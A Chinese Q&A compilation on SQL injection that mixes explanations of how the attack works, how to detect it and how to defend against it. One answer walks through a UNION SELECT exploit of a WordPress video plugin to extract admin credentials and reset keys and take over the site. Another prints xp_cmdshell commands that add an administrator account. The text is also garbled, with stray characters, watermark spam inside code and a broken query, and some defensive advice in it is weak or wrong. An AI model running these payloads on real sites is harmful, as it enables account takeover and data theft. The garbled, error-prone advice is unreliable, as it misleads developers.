『壹』 淺析sql注入漏洞與防範措施誰寫的
這是一個比較激掘常見的題目,我可以給您提供一個淺析 SQL 注入漏洞和防範措施的參考:
一明伏核、 SQL 注入漏洞是什麼?
SQL 注入漏洞是指攻擊者通過輸入惡意的 SQL 代碼來實現對資料庫的非法訪問和操作的一種漏洞攻擊方式。攻擊者通過在表單等輸入框中注入 SQL 語句,即可繞過應用程序的認證和授權機制,獲取、更改、刪除等非法操作資料庫中的敏感數據。
二、 SQL 注入漏洞的影響及危害
1. 竊取數據:攻擊者可以通過 SQL 注入漏洞竊取系統中的敏感數據,如用戶名、密碼、支付信息等等。
2. 破壞數據:攻擊者通過 SQL 注入漏洞可以刪除、更改、破壞資料庫中的數據,致使系統服務不可用。
3. 破壞系統:攻擊者可通過 SQL 注入漏洞執行攻擊代碼,破壞系統和伺服器穩定性和安全性。
三、 SQL 注入漏洞防範措施
針對 SQL 注入漏洞的攻擊可能性,可以採取以下幾種防範措施:
1. 使用參數化的 SQL 查詢。使用預編譯語句能有效避免 SQL 注入攻擊。
2. 過濾用戶輸入數據。對於用戶輸入的數據進行校驗和過濾,例如過濾掉單引號、引號等特殊字元。
3. 使用安全的編程語言。使用一些安全的編程語言,例如 Java、Python、PHP 等語言,它們都提供了一些高級防範 SQL 注入 的 API。
4. 定期檢查和更新應用程序。更新應用程序可以修復已知的漏洞並增強系統的安全性,在檢查應用程序的漏洞時可以檢測 SQL 注入漏洞的存在。
5. 對數據和系統進行加密。加密資料庫中的數據和系統文件可以增強對敏感數據和保護系統的安全性。
總結:SQL 注入漏洞是一種比較危險的漏洞攻擊方式,為了保障系統安全,我們需要認真選擇開發語言、定期更新系統和應用程序,對用戶輸入的數據進行過濾和處理,以及加強數據和系統的安全。廳坦同時,也要提高開發人員的安全意識,從源頭上預防 SQL 注入漏洞的出現。
『貳』 SQL注入攻擊原理和漏洞檢測技術
SQL注入指的是當用戶提交給伺服器的數據不在程序員的預料范圍內時,伺服器返回了一些敏感信息。通常這個是參數過濾不嚴格造成的,是程序員的責任。 舉個例子吧 比如有這個頁面 http://www.xxx.com/showdetail.asp?id=1 這個地址後有個問號,後面有個id=1這就是用戶提交給伺服器的參數 假如給後面添加個 ',這個是非法參數地址變成 http://www.xxx.com/showdetail.asp?id=1 '然後沒有過濾掉'的伺服器會給我們返回如下信息 Microsoft JET Database Engine 錯誤 '80040e14' 字元串的語法錯誤 在查詢表達式 'ID=1'' 中。 /showdetail.asp,行11 這些都是有用的信息,這意味著sql注入攻擊的原理就是利用非法參數獲得敏感信息,收集整理,分析出管理賬號密碼 那麼如何檢測網頁能否注入呢 光一個'是不夠的 正確的應該是這樣 1, http://www.xxx.com/showdetail.asp?id=1 頁面正常顯示 2, http://www.xxx.com/showdetail.asp?id=1 and 1=1 頁面顯示正常 3, http://www.xxx.com/showdetail.asp?id=1 and 1=2 頁面返回錯誤信息時 如果滿足以上三條,基本上就可一注入攻擊了 猜解管理賬號密碼可以手動,但是比較麻煩,得有sql語法知識和經驗,算是窮舉+推測的,不常用 我推薦直接使用程序猜解,網路搜搜到處有
『叄』 struts2怎麼防止sql注入
sql注入大家都不陌生,是一種常見的攻擊方式,攻擊者在界面的表單信息或url上輸入一些奇怪的sql片段,例如「or 『1』=』1』」這樣的語句,有可能入侵參數校驗不足的應用程序。所以在我們的應用中需要做一些工作,來防備這樣的攻擊方式。在一些安全性很高的應用中,比如銀行軟體,經常使用將sql語句全部替換為存儲過程這樣的方式,來防止sql注入,這當然是一種很安全的方式,但我們平時開發中,可能不需要這種死板的方式。
一起jquery,17jquery
mybatis框架作為一款半自動化的持久層框架,其sql語句都要我們自己來手動編寫,這個時候當然需要防止sql注入。其實Mybatis的sql是一個具有「輸入+輸出」功能,類似於函數的結構,如下:
一起jquery,17jquery
<</span>select id="getBlogById" resultType="Blog" parameterType=」int」>
17jquery.com
select id,title,author,content 內容來自17jquery
from blog where id=#{id} 一起jquery,17jquery
</</span>select> 內容來自17jquery
這里,parameterType標示了輸入的參數類型,resultType標示了輸出的參數類型。回應上文,如果我們想防止sql注入,理所當然地要在輸入參數上下功夫。上面代碼中高亮部分即輸入參數在sql中拼接的部分,傳入參數後,列印出執行的sql語句,會看到sql是這樣的:
內容來自17jquery
select id,title,author,content from blog where id = ?
一起jquery,17jquery
不管輸入什麼參數,列印出的sql都是這樣的。這是因為mybatis啟用了預編譯功能,在sql執行前,會先將上面的sql發送給資料庫進行編譯,執行時,直接使用編譯好的sql,替換佔位符「?」就可以了。因為sql注入只能對編譯過程起作用,所以這樣的方式就很好地避免了sql注入的問題。
一起jquery,17jquery
mybatis是如何做到sql預編譯的呢?其實在框架底層,是jdbc中的PreparedStatement類在起作用,PreparedStatement是我們很熟悉的Statement的子類,它的對象包含了編譯好的sql語句。這種「准備好」的方式不僅能提高安全性,而且在多次執行一個sql時,能夠提高效率,原因是sql已編譯好,再次執行時無需再編譯。 一起jquery,17jquery
話說回來,是否我們使用mybatis就一定可以防止sql注入呢?當然不是,請看下面的代碼:
17jquery.com
<</span>select id="orderBlog" resultType="Blog" parameterType=」map」>
17jquery.com
select id,title,author,content 一起jquery,17jquery
from blog order by ${orderParam}
17jquery.com
</</span>select>
內容來自17jquery
仔細觀察,內聯參數的格式由「#{xxx}」變為了${xxx}。如果我們給參數「orderParam」賦值為」id」,將sql列印出來,是這樣的:
內容來自17jquery
select id,title,author,content from blog order by id
一起jquery,17jquery
顯然,這樣是無法阻止sql注入的。在mybatis中,」${xxx}」這樣格式的參數會直接參與sql編譯,從而不能避免注入攻擊。但涉及到動態表名和列名時,只能使用「${xxx}」這樣的參數格式,所以,這樣的參數需要我們在代碼中手工進行處理來防止注入。 一起jquery,17jquery
結論:在編寫mybatis的映射語句時,盡量採用「#{xxx}」這樣的格式。若不得不使用「${xxx}」這樣的參數,要手工地做好過濾工作,來防止sql注入攻擊。
『肆』 在STRUTS框架 中如何有效的防止 SQL 注入式攻擊
我習慣用hibernate。這個自己不會去寫sql語句。這個好像能防治SQL 注入式攻擊。
1 字元串過濾
2 preparedstatement
第一個以前聽說過....好像是用一個類javax.servlet.Filter
給你斷代碼可以參考一下
package filter;
import java.io.IOException;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
public class EncodingFilter implements Filter
{
protected FilterConfig filterConfig;
private String targetEncoding;
public EncodingFilter()
{
targetEncoding = "gb2312";//直接初始化0912
}
public void init(FilterConfig filterconfig) throws ServletException
{
filterConfig = filterconfig;
//targetEncoding = filterconfig.getInitParameter("encoding");//web.xml掛參初始化
}
public void doFilter(ServletRequest servletrequest, ServletResponse servletresponse, FilterChain filterchain)
throws IOException, ServletException
{
HttpServletRequest httpservletrequest = (HttpServletRequest)servletrequest;
httpservletrequest.setCharacterEncoding(targetEncoding);
System.out.println("使用" targetEncoding "對請求進行編碼過濾");
filterchain.doFilter(servletrequest, servletresponse);
}
public void setFilterConfig(FilterConfig filterconfig)
{
filterConfig = filterconfig;
}
public void destroy()
{
filterConfig = null;
}
}
『伍』 如何sql注入漏洞攻破linux基礎web
SQL注入的基本原理
sql注入成因主要是對頁面參數沒有進行非法字元校驗導致,比如說一個訂單頁面要顯示某個客戶的所有訂單列表,這個頁面的地址可能是http://xxx.com/list.php?customID=3,我們推理,這樣頁面的後台處理的sql應該是這樣的:
select * form custom_order where custom_id = {$_GET['customID']}
按正常情況下,這里的接收的參數{$_GET['customID']}的值應該是傳入的值3,這樣頁面就能正確的把所有客戶ID等於3的訂單信息顯示到頁面上。但是,如果這個參數被人惡意改成了如下形式:
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按這樣的參數拼裝成的sql就成了這樣:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
這樣注入惡意sql後,訂單列表頁顯示的就不是訂單信息了,而是資料庫中用戶的名稱和密碼,或者任意其它想要的信息。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員用戶名,管理員郵箱地址,通過郵箱重置管理員密碼,登錄超級管理員後台。
All Video Gallery插件的漏洞簡介
安裝了All Video Gallery插件的Wordpress博客里會有這樣的一個地址:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
訪問這個頁面會顯示一些配置信息,問題就出在pid這個參數上,程序後台顯然沒有嚴格檢查這個參數,我們將利用這個參數進行sql注入。
WordPress是一個開源的平台,我們很容易弄清楚用戶表的表名是wp_users,存放用戶名,密碼,郵件地址的欄位分別是user_login,user_pass,user_email,我們下面將要把用戶信息表注入進去。
獲取超級管理員用戶名
為了獲取用戶表中的用戶名,我們注入的sql是這樣的:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
獲取超級管理員郵件地址
我們可以直接獲取用戶的密碼,但很顯然,密碼都是加密的,無法使用,我們這里使用另外一種思路,先獲取用戶的郵件地址,然後使用這個郵件重置用戶的密碼。
要獲取郵件地址,我們需要將上面的sql中的欄位名改成user_email:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
重置管理員密碼
WordPress的後台登陸地址是http://xxx.com/wp-login.php,這個地址是可以公共訪問的,我們進入這個頁面後,點擊Lost your password?鏈接,輸入上面獲取的管理員郵件。
這樣做了之後,Wordpress會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址,但我們可以使用上面同樣
的方法獲取這個激活碼,自己拼裝出密碼重置地址。存放激活碼的欄位是user_activation_key,我們的sql注入地址改成下面這樣:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:
有了激活碼,我們就可以拼裝出裝置密碼的地址了:
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
利用這個地址進入重置密碼頁面:
總結
我們的黑客行動到此基本上是大功告成,但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊,而是要提醒大家防範安全漏洞,
所謂知己知彼,方能百戰不殆,程序員應當對基本的黑客攻擊方式有一些了解,針對性的在編程時避免造成類似sql注入的安全漏洞,構築更健壯的軟體。
『陸』 java的框架(比如struts2)對於xss攻擊、sql注入等黑客方式有防禦么
框架本身並不具有這些功能。
防止xss,sql等的攻擊大部分需要程序員自己注意。
sql注入本身就是sql語句寫法的漏洞導致。
xss攻擊的防禦還是需要對非法字元串進行判斷過濾。
『柒』 如何防範SQL注入漏洞及檢測
以下是OMG我為大家收集整理的文章,希望對大家有所幫助。
SQL注入(SQLInjection)漏洞攻擊是目前網上最流行最熱門的黑客腳本攻擊方法之一,那什麼是SQL注入漏洞攻擊呢?它是指黑客利用一些Web應用程序(如:網站、論壇、留言本、文章發布系統等)中某些存在不安全代碼或SQL語句不縝密的頁面,精心構造SQL語句,把非法的SQL語句指令轉譯到系統實際SQL語句中並執行它,以獲取用戶名、口令等敏感信息,從而達到控制主機伺服器的攻擊方法。
1. SQL注入漏洞攻擊原理
1. 1 SQL注入漏洞攻擊實現原理
SQL(Structured Query Language)是一種用來和資料庫交互的語言文本。SQL注入的攻擊原理就是攻擊者通過Web應用程序利用SQL語句或字元串將非法的數據插入到伺服器端資料庫中,獲取資料庫的管理用戶許可權,然後將資料庫管理用戶許可權提升至操作系統管理用戶許可權,控制伺服器操作系統,獲取重要信息及機密文件。
SQL注入漏洞攻擊主要是通過藉助於HDSI、NBSI和Domain等SQL注入漏洞掃描工具掃描出Web頁面中存在的SQL注入漏洞,從而定位SQL注入點,通過執行非法的SQL語句或字元串達到入侵者想要的操作。下面以一段身份驗證的.NET代碼為例,說明一下SQL 注入攻擊的實現方法。
SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSettings["DBconnStrings"]); string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'";
DataSet userSet = new DataSet();
SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn);
userAdapter.Fill(userSet, "Users");
Session["UserID"] =Txtusername.Text.ToString();
Session["type"] =type.Text.ToString();
Response.Redirect("/Myweb/admin/login.aspx");
從上面的代碼中可以看出,程序在與資料庫建立連接得到用戶數據之後,直接將username的值通過session傳給login.aspx,沒有進行任何的過濾和處理措施, 直接用來構造SQL 語句, 其危險系數是非常高的, 攻擊者只要根據SQL 語句的編寫規則就可以繞過身份驗證,從而達到入侵的目的。
1. 2 SQL注入漏洞攻擊分析
SQL注入可以說是一種漏洞,也可以說是一種攻擊。當程序中的變數處理不當,沒有對用戶提交的數據類型進行校驗,編寫不安全的代碼,構造非法的SQL語句或字元串,都可能產生這個漏洞。
例如Web系統有一個login頁面,這個login頁面控制著用戶是否有權訪問,要求用戶輸入一個用戶名和口令,連接資料庫的語句為:
“select * from users where username = 'username' andpassword = 'password'”
攻擊者輸入用戶名為aa or 1=1口令為1234 or 1=1之類的內容。我們可以看出實際上攻擊者並不知道真正的用戶名、口令,該內容提交給伺服器之後,伺服器執行攻擊者構造出的SQL命令,但由於攻擊者輸入的內容非常特殊,所以最後得到的SQL命令變成:
“select * from users where username = 'aa' or 1=1 andpassword = '1234' or 1=1”
伺服器執行查詢或存儲過程,將用戶輸入的身份信息和資料庫users表中真實的身份信息進行核對,由於SQL命令實際上已被修改,存在永遠成立的1=1條件,因此已經不能真正驗證用戶身份,所以系統會錯誤地授權攻擊者訪問。
SQL 注入是通過目標伺服器的80埠進行的,是正常的Web訪問,防火牆不會對這種攻擊發出警告或攔截。當Web伺服器以普通用戶的身份訪問資料庫時,利用SQL注入漏洞就可能進行創建、刪除、修改資料庫中所有數據的非法操作。而當資料庫以管理用戶許可權的身份進行登錄時,就可能控制整個資料庫伺服器。
SQL注入的方法很多,在以手動方式進行攻擊時需要構造各種各樣的SQL語句,所以一般攻擊者需要豐富的經驗和耐心,才能繞過檢測和處理,提交語句,從而獲得想要的有用信息。這個過程需要花費很多的時間,如果以這種手動方式進行SQL注入漏洞攻擊,許多存在SQL注入漏洞的ASP、JSP、PHP、JAVA等網站就會安全很多了,不是漏洞不存在了,而是手動入侵者需要編程基礎,但現在攻擊者可以利用一些現成的黑客工具來輔助SQL注入漏洞攻擊,加快入侵的速度,使SQL注入變得輕而易舉。
由於SQL注入漏洞攻擊利用的是通用的SQL語法,使得這種攻擊具有廣泛性。理論上說,對於所有基於SQL語言的資料庫管理系統都是有效的,包括MSSQLServer、Oracle、DB2、Sybase和MySQL等。當然,各種系統自身的SQL擴展功能會有所不同,因此最終的攻擊代碼可能不盡相同。
1. 3 SQL注入漏洞攻擊過程
(1)繞過身份驗證
如一個login界面,需要輸入用戶名和口令,然後Post到另一個頁面,進行身份驗證,因此攻擊者只需在用戶名和口令的輸入框中都輸入aa or’1’=’1’的內容,那麼攻擊者就可以通過欺騙的驗證方式而直接進入下一個頁面,並擁有和正常登錄用戶一樣的全部特權。原因是什麼呢? 我們比較一下正常用戶登錄和攻擊者登錄時的兩種SQL語句:
1)正常用戶(如用戶名為admin,口令為1234567) :
SQL= " selectfrom users where username = ’admin’and password= ’1234567’ ";
2)攻擊者(用戶名和口令都為aa or’1’=’1’) :
SQL= " select * from users where username='aa or’1’=’1’'and password = ' aa or’1’=’1’'";
可以看到由and連接的兩個條件都被一個永遠成立的1=1所代替,執行的結果為true,資料庫會認為條件恆成立,會返回一個true,讓攻擊者以合法身份登錄進入下一個頁面。
(2)執行非法操作
如一個查詢頁面select1.asp? id=1,編程人員原本設計意圖是顯示id為1的查詢信息,而攻擊者利用程序中沒有對id內容進行檢查的機制,插入自己的代碼。
從select1.asp中摘錄一段關鍵代碼:
SQL= " select *from photo where photoid= 'id'";
可以看到,id沒有進行任何的處理,直接構成SQL語句並執行,而攻擊者在知道該系統資料庫中表名及欄位名的情況下,利用SQL語句特性(分號是將兩句SQL 語句分開的符號),直接向資料庫Tuser表中添加記錄:
select1.asp? id= 1;Insertinto Tuser (username,password,type) values ('hack','1234567','管理員'),然後攻擊者就可以直接用hack進行登錄了。通過這樣的方法,攻擊者還可以對系統做任何的事情,包括添加、刪除、修改系統資源的操作。
(3)執行系統命令
如果Web主機使用MSSQL資料庫管理系統,那麼攻擊者就可以用到xp_cmdshell這個擴展存儲過程,xp_cmdshell是一個非常有用的擴展存儲過程,用於執行系統命令,比如dir、net等,攻擊者可以根據程序的不同,提交不同的語句:
execmaster.dbo.xp_cmdshell " dir "; exec master.dbo.xp_cmdshell" net user hack 1234567 /add ";
execmaster.dbo.xp_cmdshell " net localgroup administrators hack /add ";
這樣就可以向Web主機系統中成功添加了一個管理員帳戶。
2. SQL注入漏洞攻擊的檢測方式及方法
2. 1檢測方式
SQL注入漏洞攻擊檢測分為入侵前的檢測和入侵後的檢測。入侵前的檢測,可以通過手工方式,也可以使用SQL注入漏洞掃描工具軟體。檢測的目的是為預防SQL注入漏洞攻擊,而對於SQL注入漏洞攻擊後的檢測,主要是針對審計日誌的查看,SQL注入漏洞攻擊成功後,會在Web Service和資料庫的審計日誌中留下“痕跡”。
2. 2檢測方法
(1)動態SQL檢查
動態的SQL語句是一個進行資料庫查詢的強大的工具,但把它和用戶輸入混合在一起就使SQL注入成為了可能。將動態的SQL語句替換成預編譯的SQL或者存儲過程對大多數應用程序是可行的。預編譯的SQL或者存儲過程可以將用戶的輸入作為參數而不是命令來執行,這樣就限制了入侵者的行動。當然,它不適用於存儲過程中利用用戶輸入來生成SQL命令的情況。在這種情況下,用戶輸入的SQL命令仍可能得到執行,資料庫仍然存在SQL注入漏洞攻擊的危險。
(2)有效性校驗
如果一個輸入框只可能包括數字,那麼要通過驗證確保用戶輸入的都是數字。如果可以接受字母,檢查是不是存在不可接受的字元,那就需要設置字元串檢查功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。
(3)數據表檢查
使用SQL注入漏洞攻擊工具軟體進行SQL注入漏洞攻擊後,都會在資料庫中生成一些臨時表。通過查看資料庫中最近新建的表的結構和內容,可以判斷是否曾經發生過SQL注入漏洞攻擊。
(4)審計日誌檢查
在Web伺服器中如果啟用了審計日誌功能,則Web Service審計日誌會記錄訪問者的IP地址、訪問時間、訪問文件等信息,SQL注入漏洞攻擊往往會大量訪問某一個頁面文件(存在SQL注入點的動態網頁),審計日誌文件會急劇增加,通過查看審計日誌文件的大小以及審計日誌文件中的內容,可以判斷是否發生過SQL注入漏洞攻擊事件;另外還可以通過查看資料庫審計日誌,查詢某個時間段是否有非法的插入、修改、刪除操作。
(5)其他
SQL注入漏洞攻擊成功後,入侵者往往會添加特權用戶(如:administrator、root、sa等)、開放非法的遠程服務以及安裝木馬後門程序等,可以通過查看用戶帳戶列表、遠程服務開啟情況、系統最近日期產生的一些文件等信息來判斷是否發生過入侵。
3. SQL注入漏洞防範措施
SQL注入漏洞攻擊的防範方法有很多種,現階段總結起來有以下方法:
(1)數據有效性校驗。如果一個輸入框只可能包括數字,那麼要通過校驗確保用戶輸入的都是數字。如果可以接受字母,那就要檢查是不是存在不可接受的字元,最好的方法是增加字元復雜度自動驗證功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。另外限製表單數據輸入和查詢字元串輸入的長度也是一個好方法。如果用戶的登錄名最多隻有10個字元,那麼不要認可表單中輸入10個以上的字元,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
(2)封裝數據信息。對客戶端提交的數據進行封裝,不要將數據直接存入cookie中,方法就是在編程的代碼中,插入session、if、try、else,這樣可以有效地防止攻擊者獲取cookie中的重要信息。
(3)去除代碼中的敏感信息。將在代碼中存在的用戶名、口令信息等敏感欄位刪除,替換成輸入框。
SQL=" select from users where username = ’admin’and password= ’1234567’ "
如:這樣顯然會暴露管理員的用戶名、口令信息。可以將其修改成:
SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"
這樣就安全了很多,入侵者也是不會輕易的就獲取到用戶名、口令信息。
(4)替換或刪除單引號。使用雙引號替換掉所有用戶輸入的單引號,這個簡單的預防措施將在很大程度上預防SQL注入漏洞攻擊,單引號時常會無法約束插入數據的Value,可能給予輸入者不必要的許可權。用雙引號替換掉單引號可以使大部分SQL注入漏洞攻擊失敗。 如:
“select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'”
顯然會得到與
“select * from users where username='admin' and password= '1234567'”
相同的結果。
(5)指定錯誤返回頁面。攻擊者有時從客戶端嘗試提交有害代碼和攻擊字元串,根據Web Service給出的錯誤提示信息來收集程序及伺服器的信息,從而獲取想得到的資料。應在Web Service中指定一個不包含任何信息的錯誤提示頁面。
(6)限制SQL字元串連接的配置文件。使用SQL變數,因為變數不是可以執行的腳本,即在Web頁面中將連接資料庫的SQL字元串替換成指定的Value,然後將Web.config文件進行加密,拒絕訪問。
(7)設置Web目錄的訪問許可權。將虛擬站點的文件目錄禁止遊客用戶(如:Guest用戶等)訪問,將User用戶許可權修改成只讀許可權,切勿將管理許可權的用戶添加到訪問列表。
(8)最小服務原則。Web伺服器應以最小許可權進行配置,只提供Web服務,這樣可以有效地阻止系統的危險命令,如ftp、cmd、vbscript等。
(9)鑒別信息加密存儲。將保存在資料庫users表中的用戶名、口令信息以密文形式保存,也可以對users表進行加密處理,這樣可以大大增加對鑒別信息訪問的安全級別。
(10)用戶許可權分離。應盡可能的禁止或刪除資料庫中sa許可權用戶的訪問,對不同的資料庫劃分不同的用戶許可權,這樣不同的用戶只能對授權給自己的資料庫執行查詢、插入、更新、刪除操作,就可以防止不同用戶對非授權的資料庫進行訪問。
4. 結束語
SQL注入漏洞攻擊在網上非常普遍,許多ASP、PHP論壇和文章管理系統、下載系統以及新聞系統都存在這個漏洞。造成SQL注入漏洞攻擊的主要原因是開發人員在系統開發的過程中編程不規范,沒有形成良好的編程習慣,問題的解決只有依賴於規范編程。此外,也可以使用現有的SQL注入漏洞掃描器對整個網站中的關鍵代碼進行掃描,查找網站頁面中存在的SQL注入點。對於有問題的頁面,可以及時刪除或更新。本文通過對SQL注入漏洞攻擊的方法、原理以及攻擊實施過程進行了闡述和總結,並給出了一些常見的SQL注入漏洞攻擊防範的方法。
『捌』 如何發現sql注入漏洞
要防止SQL注入其實不難,你知道原理就可以了。
1、所有的SQL注入都是從用戶的輸入開始的。如果你對所有用戶輸入進行了判定和過濾,就可以防止SQL注入了。用戶輸入有好幾種,我就說說常見的吧。
2、文本框、地址欄里***.asp?中?號後面的id=1之類的、單選框等等。一般SQL注入都用地址欄里的。。。。
3、對於所有從上一頁傳遞過來的參數,包括request.form 、request.qurrystring等等進行過濾和修改。如最常的***.asp?id=123 ,我們的ID只是用來對應從select 里的ID,而這ID一般對應的是一個數據項的唯一值,而且是數字型的。這樣,我們只需把ID的值進行判定,就可以了。
『玖』 struts2防止sql注入
struts是控制層 根本不存在sql注入的問題 他負責頁面的跳轉,你說的應該是在持久層